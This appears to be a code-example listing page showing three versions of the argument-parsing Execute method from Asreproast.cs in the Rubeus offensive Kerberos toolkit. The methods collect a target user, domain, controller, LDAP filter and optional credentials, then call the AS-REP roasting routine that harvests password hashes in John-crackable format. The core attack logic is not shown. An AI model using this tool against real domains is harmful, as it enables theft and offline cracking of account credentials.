예제 #1
0
파일: Asreproast.cs 프로젝트: sgnls/Rubeus
        public void Execute(Dictionary <string, string> arguments)
        {
            string user   = "";
            string domain = "";
            string dc     = "";
            string format = "john";

            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/format"))
            {
                format = arguments["/format"];
            }

            if (String.IsNullOrEmpty(user))
            {
                Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                return;
            }
            if (String.IsNullOrEmpty(domain))
            {
                domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
            }

            if (String.IsNullOrEmpty(dc))
            {
                Roast.ASRepRoast(user, domain, "", format);
            }
            else
            {
                Roast.ASRepRoast(user, domain, dc, format);
            }
        }
예제 #2
0
        public void Execute(Dictionary <string, string> arguments)
        {
            string user   = "";
            string domain = "";
            string dc     = "";
            string format = "john";
            string compositeUserName;

            // TODO : Clarify in original source code.
            if (arguments.TryGetValue("/user", out compositeUserName))
            {
                string[] parts = compositeUserName.Split('\\');
                switch (parts.Length)
                {
                case 2:
                    domain = parts[0];
                    user   = parts[1];
                    break;

                case 1:
                    user = compositeUserName;
                    break;

                default:
                    throw new ApplicationException();
                }
            }
            if (string.IsNullOrEmpty(domain))
            {
                // Because we don't want to override the value from the /user parameter unless it is not
                // explictly stated in the /user argument.
                arguments.TryGetValue("/domain", out domain);
            }
            arguments.TryGetValue("/dc", out dc);
            arguments.TryGetValue("/format", out format);
            if (string.IsNullOrEmpty(user))
            {
                Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                return;
            }
            if (string.IsNullOrEmpty(domain))
            {
                domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
            }
            Roast.ASRepRoast(user, domain, string.IsNullOrEmpty(dc) ? string.Empty : dc, format);
        }
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("\r\n[*] Action: AS-REP roasting\r\n");

            string user       = "";
            string domain     = "";
            string dc         = "";
            string ou         = "";
            string format     = "john";
            string ldapFilter = "";
            string outFile    = "";

            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/ou"))
            {
                ou = arguments["/ou"];
            }
            if (arguments.ContainsKey("/ldapfilter"))
            {
                // additional LDAP targeting filter
                ldapFilter = arguments["/ldapfilter"].Trim('"').Trim('\'');
            }
            if (arguments.ContainsKey("/format"))
            {
                format = arguments["/format"];
            }
            if (arguments.ContainsKey("/outfile"))
            {
                outFile = arguments["/outfile"];
            }

            if (String.IsNullOrEmpty(domain))
            {
                domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
            }

            if (arguments.ContainsKey("/creduser"))
            {
                if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
                {
                    Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
                    return;
                }

                string[] parts      = arguments["/creduser"].Split('\\');
                string   domainName = parts[0];
                string   userName   = parts[1];

                if (!arguments.ContainsKey("/credpassword"))
                {
                    Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
                    return;
                }

                string password = arguments["/credpassword"];

                System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);

                Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter);
            }
            else
            {
                Roast.ASRepRoast(domain, user, ou, dc, format, null, outFile, ldapFilter);
            }
        }